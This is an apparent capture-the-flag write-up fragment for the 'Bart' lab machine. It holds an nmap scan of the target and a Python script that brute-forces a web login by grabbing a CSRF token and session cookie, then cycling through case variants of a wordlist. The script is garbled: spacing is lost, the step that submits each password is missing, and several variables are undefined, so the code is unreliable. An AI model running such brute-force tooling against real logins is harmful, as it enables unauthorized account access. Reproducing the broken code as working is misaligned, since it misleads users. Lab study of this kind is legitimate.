$ nmap -sC -sV -Pn 10.10.10.81 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 14:31 CST Nmap scan report for 10.10.10.81 Host is up (0.064s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Did not follow redirect to http://forum.bart.htb/ |_http-server-header: Microsoft-IIS/10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 68.43 seconds
defusage(): print("{} [wordlist]".format(sys.argv[0])) print(" wordlist should be one word per line]") sys.exit(1)
defcheck_password(password):
# get csrf token and PHPSESSID r = requests.get(url) csrf = re.search(csrf_pattern, r.text).group(1) PHPSESSID = [x.split('=')[1] for x in r.headers['Set-Cookie'].split(';') if x.split('=')[0] == 'PHPSESSID'][0]
if'<p>The information is incorrect.</p>'in r.text: return password, False else: return password, True
defmain(wordlist, nprocs=MAX_PROC): with open(wordlist, 'r', encoding='latin-1') as f: words = f.read().rstrip().replace('\r','').split('\n')
words = [x.lower() for x in words] + [x.capitalize() for x in words] + words + [x.upper() for x in words]
pool = Pool(processes=nprocs)
i = 0 print_status(0, len(words)) for password, status in pool.imap_unordered(check_password, [pass_ for pass_ in words]): if status: sys.stdout.write("\n[+] Found password: {} \n".format(password)) pool.terminate() sys.exit(0) else: i += 1 print_status(i, len(words))